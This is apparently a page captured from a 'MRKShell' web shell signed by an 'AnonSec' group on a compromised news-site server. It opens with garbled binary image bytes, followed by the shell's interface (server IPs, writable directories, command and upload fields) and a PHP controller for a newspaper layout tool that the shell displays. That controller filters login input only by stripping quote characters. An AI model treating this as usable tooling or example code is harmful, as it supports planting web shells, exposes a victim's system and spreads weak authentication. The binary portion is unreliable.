JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/controllers/diagramador.php
<?php

class Diagramador extends MY_Controller {

    function __construct() {
        parent::__construct();
        $this->load->library('varios_library');
    }

    public function demo($id=0) {
        $user = $this->session->userdata('usuario_diagramador');
        if ($user['id'] > 0) {
            $this->load->model("permiso", "permiso", true);
            $permiso = $this->permiso->checkIn($user['perfil_id'], 85);
            if ($permiso['Modificacion']) {
                // $variables['estilo_impresion'] = '<link href="' . site_url('css/2011/imprimir.css') . '" rel="stylesheet" type="text/css" media="print" />';
                // $skin = 'ndiagramador/';
                // $variables['vista'] = $skin;
                // /*
                //   if($user['perfil_id']==1)
                //   {
                //   $adm = 1;
                //   }
                //   else
                //   {
                //   $adm = 0;
                //   }
                //  */

                // $adm = 1;

                // $variables['is_diagramador'] = 1;
                // $config = array('key' => 'portada', 'mode' => 'l', 'admin' => $adm, 'id_elemento' => $id);
                // $this->load->library("mockup", $config, "mockup");
                // $variables['cont_diagramado'] = $this->mockup->get_code();
                // //fin de mockup


                // $variables['tipos_cajas'] = $this->_dame_tipo_cajas();
                // $variables['array_secciones'] = $this->_dame_secciones_notas();
                // $variables['array_estilos'] = $this->_dame_estilos();
                // $variables['array_orden'] = $this->_dame_orden();

                // $variables['permiso_cajas'] = array('Alta' => '');
                // $variables['seccion_id'] = 1;

                // if (!$menum = $this->session->userdata('menu_minimizado')) {
                //     $this->session->set_userdata('menu_minimizado', 0);
                //     $menum = $this->session->userdata('menu_minimizado');
                // }
                // $variables['menum'] = $menum;
                // $variables['vistas'] = $skin;
                // $variables['title'] = "Nuevo Diagramador";


                // $this->load->view($skin . "lanzador", $variables);
                header("location: " . site_url("diagramador/id/1" ));

            } else
                redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
        } else
            redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
    }

    public function id($id) {
        $variables['tipo_bloques_a_agregar'] = $id;
        $this->load->model("mockup_model", "mockup_model", true);
        $bloque_id = $this->mockup_model->dameBloquePrincipal($id);
        $variables['bloque_id_principal'] = $bloque_id;
        $user = $this->session->userdata('usuario_diagramador');
        if ($user['id'] > 0) {
            $this->load->model("permiso", "permiso", true);
            $permiso = $this->permiso->checkIn($user['perfil_id'], 85);
            if ($permiso['Modificacion']) {
                $variables['estilo_impresion'] = '<link href="' . site_url('css/2011/imprimir.css') . '" rel="stylesheet" type="text/css" media="print" />';
                $skin = 'ndiagramador/';
                $variables['vista'] = $skin;
                /*
                  if($user['perfil_id']==1)
                  {
                  $adm = 1;
                  }
                  else
                  {
                  $adm = 0;
                  }
                 */

                switch ($id) {
                    case 4:
                        $key = 'minisomosdeportes';
                        $grupo = 3;
                        break;
                    case 3:
                        $key = 'somosdeporte';
                        $grupo = 2;
                        break;
                    case 2:
                        $key = 'mobile';
                        $grupo = 1;
                        break;
                    case 1:
                    default:
                        $key = 'portada';
                        $grupo = 0;
                        break;
                }

                $adm = 1;

                $variables['is_diagramador'] = 1;
                $config = array('key' => $key, 'mode' => 'l', 'admin' => $adm, 'id_elemento' => $id, 'grupo' => $grupo);
                $this->load->library("mockup", $config, "mockup");
                $variables['cont_diagramado'] = $this->mockup->get_code();
                //fin de mockup


                $variables['tipos_cajas'] = $this->_dame_tipo_cajas();
                $variables['array_secciones'] = $this->_dame_secciones_notas();
                $variables['array_estilos'] = $this->_dame_estilos();
                $variables['array_orden'] = $this->_dame_orden();

                $variables['permiso_cajas'] = array('Alta' => '');
                $variables['seccion_id'] = 1;

                if (!$menum = $this->session->userdata('menu_minimizado')) {
                    $this->session->set_userdata('menu_minimizado', 0);
                    $menum = $this->session->userdata('menu_minimizado');
                }
                $variables['menum'] = $menum;
                $variables['vistas'] = $skin;
                $variables['title'] = "Nuevo Diagramador";


                $this->load->view($skin . "diagramador", $variables);
            } else
                redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
        } else
            redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
    }

    public function index() {
        $user = $this->session->userdata('usuario_diagramador');
        if ($user['id'] > 0) {

            $this->load->model("permiso", "permiso", true);
            $permiso = $this->permiso->checkIn($user['perfil_id'], 85);
            if ($permiso['Modificacion']) {
                redirect(site_url("diagramador/demo/" . $seccion_id), "refresh");
                //Traigo las secciones
                $this->load->model('seccion_modelo', 'seccion', true);
                $variables['secciones'] = $this->seccion->dameSeccionesDiaria();

                //Traigo las notas del día
                $this->load->model('edicion', 'edicion', true);
                $edicion_publicada = $this->edicion->dameEdicionPublicada();
                $this->load->model('nota_modelo', 'nota', true);
                $variables['notas_diagramador'] = $this->nota->dameUltimasNotasDiagramador($edicion_publicada['id'], 10);

                //Traigo los bloques del diagramador
                $this->load->model('diagramador_modelo', 'diagramador', true);
                $bloques = $this->diagramador->dameBloquesDiagramador();
                if ($bloques) {
                    foreach ($bloques as $key => $value) {
                        $bloques[$key]['objetos'] = $this->diagramador->dameObjetosBloque($value['id']);
                    }
                }

                $variables['bloques'] = $bloques;

                $variables['fecha_edicion'] = $edicion_publicada['fecha'];

                $this->load->view("diagramador/index", $variables);
            } else
                redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
        } else
            redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
    }

    public function editar_nota() {
        $this->load->model('diagramador_modelo', 'diagramador', true);

        $nota_id = $this->input->post('nota_id');

        $variables['nota'] = $this->diagramador->traer_datos_nota($nota_id);


        $this->load->view('diagramador/form-editar-nota', $variables);
    }

    public function guardar_edit_nota() {
        $nota_id = $this->input->post('nota_id');
        $antetitulo = $this->input->post('antetitulo_nota');
        $titulo = $this->input->post('titulo_nota');
        $sumario = $this->input->post('bajada_nota');
        $muestra_imagen = ($this->input->post('muestra_imagen') == "on") ? 1 : 0;

        $this->load->model('diagramador_modelo', 'diagramador', true);

        if (trim($titulo) != "") {
            $datos['antetitulo_nota'] = $antetitulo;
            $datos['titulo_nota'] = $titulo;
            $datos['bajada_nota'] = $sumario;
            $datos['muestra_imagen'] = $muestra_imagen;

            if ($this->diagramador->actualizar_nota_diagramador($nota_id, $datos)) {
                echo "ok";
            } else {
                echo "ko";
            }
        } else {
            echo "error_titulo";
        }
    }

    public function prueba_bloques($seccion_id = 1) {
        $user = $this->session->userdata('usuario_diagramador');
        if ($user['id'] > 0) {
            $this->load->model("permiso", "permiso", true);
            $permiso = $this->permiso->checkIn($user['perfil_id'], 53);
            if ($permiso['Modificacion']) {
                $this->load->model("diagramador_modelo", "diagramador", true);
                $estado = $this->diagramador->checkUso($seccion_id);
                if ($estado['ocupado'] == 0 or ( $estado['ocupado'] == 1 and $estado['usuario_id'] == $user['id'])) {
                    if ($estado['ocupado'] == 0) {
                        $datos['usuario_id'] = $user['id'];
                        $datos['nombre'] = $user['nombre'] . " " . $user['apellido'];
                        $datos['fecha'] = date('Y-m-d H:i:s');
                        $datos['ocupado'] = 1;
                        $this->diagramador->cambiarEstadoDiagramador($datos, $seccion_id);
                    }

                    $this->load->model("seccion_modelo", "seccion", true);
                    $skin = THEME_DEFAULT;
                    $seccion_info = $this->seccion->dameInfoSeccion($seccion_id);
                    if ($seccion_info) {
                        $skin = $seccion_info['template'] . '/';
                    }

                    $skin = '2012/';

                    if (!$menum = $this->session->userdata('menu_minimizado')) {
                        $this->session->set_userdata('menu_minimizado', 0);
                        $menum = $this->session->userdata('menu_minimizado');
                    }

                    $variables['is_home'] = true;
                    $variables['notas_columna_1000'] = false;
                    $variables['carrucel_uno'] = false;
                    $variables['columna_uno'] = false;
                    $variables['columna_dos'] = false;
                    $variables['notas_columna_2000'] = false;
                    $variables['ranking'] = false;
                    $variables['is_seccion'] = true;
                    $variables['is_nota'] = false;
                    $variables['is_img_dia'] = false;
                    $variables['seccion_id'] = $seccion_id;
                    $variables['usuario'] = "";
                    $variables['fecha_sistema'] = $this->varios_library->fechaLarga(date('d-m-Y'));
                    $variables['minimo_texto_nota'] = 9;
                    $variables['maximo_texto_nota'] = 18;
                    $variables['title'] = "Minuto Neuquen";
                    $variables['sumario_nota'] = "";
                    $variables['keywords'] = "Minuto Neuquen";
                    $variables['hay_videos'] = false;
                    $variables['strimagen_principal_d'] = "";
                    $variables['epigrafe_d'] = "";
                    if ($seccion_info['estilo'] != "")
                        $variables['archivo_estilo'] = $seccion_info['estilo'];
                    else
                        $variables['archivo_estilo'] = "home.css";
                    if ($seccion_id == 1)
                        $variables['archivo_estilo'] = "home.css";
                    $variables['archivo_estilo2'] = "";
                    $variables['estilo_impresion'] = '<link href="' . site_url('css/2011/imprimir.css') . '" rel="stylesheet" type="text/css" media="print" />';
                    $variables['title'] = "Minuto Neuquen";
                    $variables['vista'] = $skin;
                    $variables['seccion_actual'] = $seccion_id;

                    //inicio de mockup
                    if ($user['perfil_id'] == 1) {
                        $adm = 1;
                    } else {
                        $adm = 0;
                    }
                    $config = array('key' => 'prueba_bloques', 'mode' => 'd', 'admin' => $adm);
                    $this->load->library("mockup", $config, "mockup");
                    $variables['cont_diagramado'] = $this->mockup->get_code();
                    $this->mockup->setter('admin', '1');
                    $variables['cont_diagramado_permisos'] = $this->mockup->get_code();
                    $this->mockup->setter('mode', 'f');
                    $variables['cont_final'] = $this->mockup->get_code();
                    //fin de mockup

                    $variables['tipos_cajas'] = $this->_dame_tipo_cajas();
                    $variables['menum'] = $menum;
                    $variables['hay_videos'] = true;
                    $variables['array_secciones'] = $this->_dame_secciones_notas();
                    $variables['array_estilos'] = $this->_dame_estilos();
                    $variables['array_orden'] = $this->_dame_orden();

                    $this->load->view($skin . "diagramador", $variables);
                } else
                    print '<h1>El diagramador de la secci&oacute;n ' . $estado['seccion'] . ' est&aacute; siendo usado por ' . $estado['nombre'] . '</h1>';
            } else
                redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
        } else
            redirect(site_url("diagramador/login/" . $seccion_id), "refresh");
    }

    public function _dame_tipo_cajas() {
        $this->load->model("layout_modelo", "layout_modelo", true);
        $tipos = $this->layout_modelo->dameTipoCajas();
        return $tipos;
    }

    public function _dame_secciones_notas() {
        $this->load->model("layout_modelo", "layout_modelo", true);
        $posiciones = $this->layout_modelo->dameSeccionesNotas();
        return $posiciones;
    }

    public function _dame_estilos() {
        $this->load->model("layout_modelo", "layout_modelo", true);
        $estilos = $this->layout_modelo->dameEstilos();
        return $estilos;
    }

    public function _dame_orden() {
        $this->load->model("layout_modelo", "layout_modelo", true);
        $orden = $this->layout_modelo->dameOrden();
        return $orden;
    }

    public function login($seccion_id = 1) {

        /* $this->load->model("diagramador_modelo","diagramador",true);
          $datos['ocupado'] = 0; */

        $variables['error'] = "";
        $variables['seccion_id'] = $seccion_id;
        $this->load->view("diagramador/diagramador_login", $variables);
    }

    public function logout($seccion_id = 1) {
        $this->session->unset_userdata("usuario_diagramador");

        /* $this->load->model("diagramador_modelo","diagramador",true);
          $datos['ocupado'] = 0;
          $this->diagramador->desocuparDiagramador($seccion_id); */

        redirect(site_url('diagramador/login/' . $seccion_id), "refresh");
    }

    public function verificar() {
        $usuario = $this->session->userdata('usuario_diagramador');
        if ($usuario)
            $this->session->unset_userdata("usuario_diagramador");

        $username = $this->input->post("username");
        $username = str_replace("'", "", $username);
        $username = str_replace('"', "", $username);

        $pass = $this->input->post("password");
        $pass = str_replace("'", "", $pass);
        $pass = str_replace('"', "", $pass);

        $seccion_id = $this->input->post("seccion_id");
        if (!isset($seccion_id))
            $seccion_id = 0;

        $variables['seccion_id'] = $seccion_id;

        if ($username != "" and $pass != "") {
            $this->load->model("diagramador_modelo", "diagramador", true);
            $usuario = $this->diagramador->loginDiagramador($username, $pass);

            if ($usuario) {
                $this->load->model("permiso", "permiso", true);
                $permiso = $this->permiso->checkIn($usuario['perfil_id'], 85);
                if ($permiso['Modificacion']) {
                    if (1 == 1) {

                        $sess_array = array(
                            'id' => $usuario['id'],
                            'nombre' => $usuario['nombre'],
                            'apellido' => $usuario['apellido'],
                            'usuario' => $usuario['usuario'],
                            'email' => $usuario['email'],
                            'perfil_id' => $usuario['perfil_id'],
                            'facebook_id' => $usuario['facebook_id']
                        );
                        $this->session->set_userdata('usuario_diagramador', $sess_array);


                        /* if(!is_numeric($seccion_id))
                          {
                          if($seccion_id == 'live')
                          {
                          header("location: ".site_url("diagramador/live"));
                          }
                          else
                          {
                          header("location: ".site_url("diagramador/portada/1/".$seccion_id));
                          }
                          }
                          else
                          {
                          header("location: ".site_url("diagramador/index/".$seccion_id));
                          } */
                        //Sólo cargo el diagramador para la portada.
                        header("location: " . site_url("diagramador/id/" . $seccion_id));
                        exit();
                    } else
                        $variables['error'] = "El Diagramador esta siendo usado por " . $uso['nombre'];
                } else
                    $variables['error'] = "Usted no tiene permiso para acceder al Diagramador";
            } else
                $variables['error'] = "Usuario o contrase&ntilde;a incorrectas";
        } else
            $variables['error'] = "Debe ingresar usuario y contrase&ntilde;a";

        $this->load->view("diagramador/diagramador_login", $variables);
    }

    public function portada($seccion_id = 1, $nom = 'uuu') {
        $user = $this->session->userdata('usuario_diagramador');
        if ($user['id'] > 0) {
            $this->load->model("permiso", "permiso", true);
            $permiso = $this->permiso->checkIn($user['perfil_id'], 85);
            if ($permiso['Modificacion']) {
                $this->load->model("diagramador_modelo", "diagramador", true);
                if (1 == 1) {

                    $this->load->model("seccion_modelo", "seccion", true);
                    $skin = THEME_DEFAULT;
                    $seccion_info = $this->seccion->dameInfoSeccion($seccion_id);
                    if ($seccion_info) {
                        $skin = $seccion_info['template'] . '/';
                    }

                    $skin = '2014/';

                    if (!$menum = $this->session->userdata('menu_minimizado')) {
                        $this->session->set_userdata('menu_minimizado', 0);
                        $menum = $this->session->userdata('menu_minimizado');
                    }

                    $variables['is_home'] = true;
                    $variables['notas_columna_1000'] = false;
                    $variables['carrucel_uno'] = false;
                    $variables['columna_uno'] = false;
                    $variables['columna_dos'] = false;
                    $variables['notas_columna_2000'] = false;
                    $variables['ranking'] = false;
                    $variables['is_seccion'] = true;
                    $variables['is_nota'] = false;
                    $variables['is_img_dia'] = false;
                    $variables['seccion_id'] = $seccion_id;
                    $variables['usuario'] = "";
                    $variables['fecha_sistema'] = $this->varios_library->fechaLarga(date('d-m-Y'));
                    $variables['minimo_texto_nota'] = 9;
                    $variables['maximo_texto_nota'] = 18;
                    $variables['title'] = "Minuto Neuquen";
                    $variables['sumario_nota'] = "";
                    $variables['keywords'] = "Minuto Neuquen";
                    $variables['hay_videos'] = false;
                    $variables['strimagen_principal_d'] = "";
                    $variables['epigrafe_d'] = "";
                    if ($seccion_info['estilo'] != "")
                        $variables['archivo_estilo'] = $seccion_info['estilo'];
                    else
                        $variables['archivo_estilo'] = "home.css";
                    if ($seccion_id == 1)
                        $variables['archivo_estilo'] = "home.css";
                    $variables['archivo_estilo2'] = "";
                    $variables['estilo_impresion'] = '<link href="' . site_url('css/2011/imprimir.css') . '" rel="stylesheet" type="text/css" media="print" />';
                    $variables['title'] = "Minuto Neuquen";
                    $variables['vista'] = $skin;
                    $variables['seccion_actual'] = $seccion_id;

                    //inicio de mockup
                    if ($user['perfil_id'] == 1) {
                        $adm = 1;
                    } else {
                        $adm = 0;
                    }
                    $config = array('key' => $nom, 'mode' => 'd', 'admin' => $adm, 'id_elemento' => $nom, 'grupo' => 1);
                    $this->load->library("mockup", $config, "mockup");
                    $variables['cont_diagramado'] = $this->mockup->get_code();

                    //fin de mockup

                    $variables['tipos_cajas'] = $this->_dame_tipo_cajas();
                    $variables['menum'] = $menum;
                    $variables['hay_videos'] = true;
                    $variables['array_secciones'] = $this->_dame_secciones_notas();
                    $variables['array_estilos'] = $this->_dame_estilos();
                    $variables['array_orden'] = $this->_dame_orden();

                    $this->load->view("mockup/diagramador", $variables);
                } else
                    print '<h1>El diagramador de la secci&oacute;n ' . $estado['seccion'] . ' est&aacute; siendo usado por ' . $estado['nombre'] . '</h1>';
            } else
                redirect(site_url("diagramador/login/" . $nom), "refresh");
        } else
            redirect(site_url("diagramador/login/" . $nom), "refresh");
    }

    //Métodos nuevo diagramador
    public function cargarElemento() {
        $bloque_id = $this->input->post("bloque_id");
        $objetos = $this->input->post("objetos");
        $actualiza = $this->input->post("actualiza");

        $this->load->model("diagramador_modelo", "diagramador", true);

        $orden = 0;
        $msj = "";
        $b = 1;
        if (is_array($objetos)) {
            //if($this->diagramador->limpiarBloque($bloque_id)){
            foreach ($objetos as $o) {
                unset($datos);
                unset($datos_mod);
                $orden++;
                $k = explode("-", $o);
                $tipo = $k[0];
                if (!$this->diagramador->existe_nota($bloque_id, $k[1])) {
                    $datos['bloque_id'] = $bloque_id;
                    switch ($tipo) {
                        case "nota":
                            $datos['tipo'] = 1;
                            $info_nota = $this->_dame_datos_nota($k[1], $actualiza);
                            if ($info_nota) {
                                $datos['titulo_nota'] = $info_nota['titulo'];
                                $datos['antetitulo_nota'] = $info_nota['antetitulo'];
                                $datos['bajada_nota'] = $info_nota['sumario'];
                                $datos['seccion_nota'] = $info_nota['seccion'];
                            }
                            break;
                        case "encuesta":
                            $datos['tipo'] = 2;
                            break;
                        case "banner":
                            $datos['tipo'] = 3;
                            break;
                        case "seccion":
                            $datos['tipo'] = 4;
                            break;
                    }

                    $datos['orden'] = $orden;
                    $datos['objeto_id'] = $k[1];
                    if ($k[1] != NULL) {
                        if (!$this->diagramador->insertarObjetoBloque($datos)) {
                            $b = 0;
                            break;
                        }
                    }
                } else {
                    $datos_mod['orden'] = $orden;
                    if ($k[1] != NULL) {
                        if (!$this->diagramador->modificaObjetoBloque($bloque_id, $k[1], $datos_mod)) {
                            $b = 0;
                            break;
                        }
                    }
                }
            }
            /* }else{
              echo "Error al vaciar al bloque";
              die;
              } */
        }

        if ($b = 1)
            echo "ok";
        else
            echo "Error al actualizar el bloque";
    }

    public function borrarElemento() {
        $bloque_id = $this->input->post("bloque_id");
        $objeto_id = $this->input->post("objeto_id");

        $this->load->model("diagramador_modelo", "diagramador", true);

        if (!$this->diagramador->eliminarObjetoBloque($objeto_id, $bloque_id)) {
            echo "No se pudo eliminar el objeto del bloque.";
        } else
            echo "ok";
    }

    public function borrarElementoPorId() {
        $objeto_id = $this->input->post("objeto_id");

        $this->load->model("diagramador_modelo", "diagramador", true);

        if (!$this->diagramador->eliminarObjetoBloque($objeto_id)) {
            echo "No se pudo eliminar el objeto del bloque.";
        } else
            echo "ok";
    }

    public function filtrar_notas() {
        $desde = $this->input->post('fecha_desde');
        if (trim($desde) != "") {
            $d = explode("/", $desde);
            $fecha_desde = $d[2] . "-" . $d[1] . "-" . $d[0];
        }

        $hasta = $this->input->post('fecha_hasta');
        if (trim($hasta) != "") {
            $h = explode("/", $hasta);
            $fecha_hasta = $h[2] . "-" . $h[1] . "-" . $h[0];
        }

        $this->load->model("edicion", "edicion", true);
        $edicion_desde = $this->edicion->dameEdicionPorfecha($fecha_desde);
        $edicion_hasta = $this->edicion->dameEdicionPorfecha($fecha_hasta);
        $filtro['edicion_desde'] = ($edicion_desde) ? $edicion_desde['id'] : false;
        $filtro['edicion_hasta'] = ($edicion_hasta) ? $edicion_hasta['id'] : false;

        $seccion_id = $this->input->post('seccion_id');

        if ($seccion_id > 0)
            $filtro['seccion'] = $seccion_id;
        else
            $filtro['seccion'] = "";

        $ultimo_momento = $this->input->post('um');
        $filtro['um'] = ($ultimo_momento == "on") ? "true" : "false";

        $filtro['texto'] = $this->input->post('filtro_texto');


        if ($filtro['edicion_desde'] && $filtro['edicion_hasta']) {
            $this->load->model('nota_modelo', 'nota', true);
            $notas = $this->nota->filtrarNotasDiagramador($filtro);

            $variables['notas_diagramador'] = $notas;

            echo $this->load->view('diagramador/notas-diagramador', $variables);
        } else
            echo '<span class="no-result">No hay encuestas activas actualmente.</span>';
    }

    public function publicar() {
        $v = $this->input->post("valida");

        if ($v == md5("ok")) {
            //Traigo los bloques del diagramador
            $this->load->model('diagramador_modelo', 'diagramador', true);
            $bloques = $this->diagramador->dameBloquesDiagramador();
            if ($bloques) {
                foreach ($bloques as $key => $value) {
                    $bloques[$key]['objetos'] = $this->diagramador->dameObjetosBloqueXml($value['id']);
                }

                $this->_generar_xml($bloques);

                //Limpio la caché de las notas UM y de Secciones
                $this->load->library('memcached_library');
                if ($this->memcached_library->get('ultimo_momento'))
                    $this->memcached_library->delete('ultimo_momento');
                if ($this->memcached_library->get('notas_seccion_home_' . $bloques[3]['objetos'][0]['objeto_id']))
                    $this->memcached_library->delete('notas_seccion_home_' . $bloques[3]['objetos'][0]['objeto_id']);
                if ($this->memcached_library->get('notas_seccion_home_' . $bloques[3]['objetos'][1]['objeto_id']))
                    $this->memcached_library->delete('notas_seccion_home_' . $bloques[3]['objetos'][1]['objeto_id']);
                if ($this->memcached_library->get('notas_seccion_home_' . $bloques[3]['objetos'][2]['objeto_id']))
                    $this->memcached_library->delete('notas_seccion_home_' . $bloques[3]['objetos'][2]['objeto_id']);


                echo "Portada publicada correctamente.";
            }else {
                echo "No hay elementos para exportar";
            }
        } else
            echo "No puede ingresar a esta sección";
    }

    public function _generar_xml($datos) {
        $doc = new DOMDocument('1.0', 'utf-8');
        $doc->formatOutput = true;

        $objetos = $doc->createElement('bloques');

        $doc->appendChild($objetos);


        if (count($datos) > 0) {
            foreach ($datos as $k => $v) {
                $objeto = $doc->createElement('bloque');
                $objetos->appendChild($objeto);

                foreach ($v as $k2 => $v2) {
                    if ($k2 == "objetos") {
                        $obje = $doc->createElement('objetos');
                        $objeto->appendChild($obje);
                        if (is_array($v2)) {
                            foreach ($v2 as $k3 => $v3) {
                                $obj = $doc->createElement('objeto');
                                $obje->appendChild($obj);

                                if (is_array($v3)) {
                                    foreach ($v3 as $k4 => $v4) {
                                        if (!is_array($v4)) {
                                            $item2 = $doc->createElement($k4);
                                            $item2->appendChild($doc->createTextNode($v4));
                                            $obj->appendChild($item2);
                                        } else {
                                            $item2 = $doc->createElement($k4);
//												$item2->appendChild($doc->createTextNode($v4));
                                            $obj->appendChild($item2);

                                            foreach ($v4 as $k5 => $v5) {
                                                $item3 = $doc->createElement("opcion");
                                                $item2->appendChild($item3);

                                                foreach ($v5 as $k6 => $v6) {
                                                    $item4 = $doc->createElement($k6);
                                                    $item4->appendChild($doc->createTextNode($v6));
                                                    $item3->appendChild($item4);
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    } else {
                        $item = $doc->createElement($k2);
                        $item->appendChild($doc->createTextNode($v2));
                        $objeto->appendChild($item);
                    }
                }
            }
        }
        $c = $doc->saveXML();
        if ($file_sup = fopen(PATH_BASE_XML . "xml/home/diagramador.xml", "w+")) {
            fputs($file_sup, $c);
            fclose($file_sup);
        }
    }

    public function creaFotoNota() {
        $nota_id = $this->input->post('nota_id');
        $bloque_id = $this->input->post('bloque_id');

        $this->load->model('diagramador_modelo', 'diagramador', true);
        $bloque = $this->diagramador->dameBloque($bloque_id);

        if ($foto = $this->diagramador->dameFotoNotaBloque($nota_id)) {
            //Creo la foto
            $img = $this->varios_library->dameImagen($foto['ruta'], $foto['imagen'], "home/", $bloque['ancho_foto'], $bloque['alto_foto'], "milimg", "", "", 0);
            if ($img != "") {
                echo "ok";
            } else
                echo "error_foto";
        }else {
            echo "ko";
        }
    }

    public function _dame_datos_nota($nota_id, $actualiza) {
        if ($nota_id > 0) {
            $this->load->model('nota_modelo', 'nota', true);
            $nota = $this->nota->traer_datos_nota_minimos($nota_id);

            /* if($actualiza==0){
              $this->load->model('nota_modelo','nota',true);
              $nota = $this->nota->traer_datos_nota_minimos($nota_id);
              }else{
              $this->load->model('diagramador_modelo','diagramador',true);
              $nota = $this->diagramador->traer_datos_nota_minimos($nota_id);
              } */

            return $nota;
        } else
            return false;
    }

    //Fin nuevos métodos
}

?>

Anon7 - 2022
AnonSec Team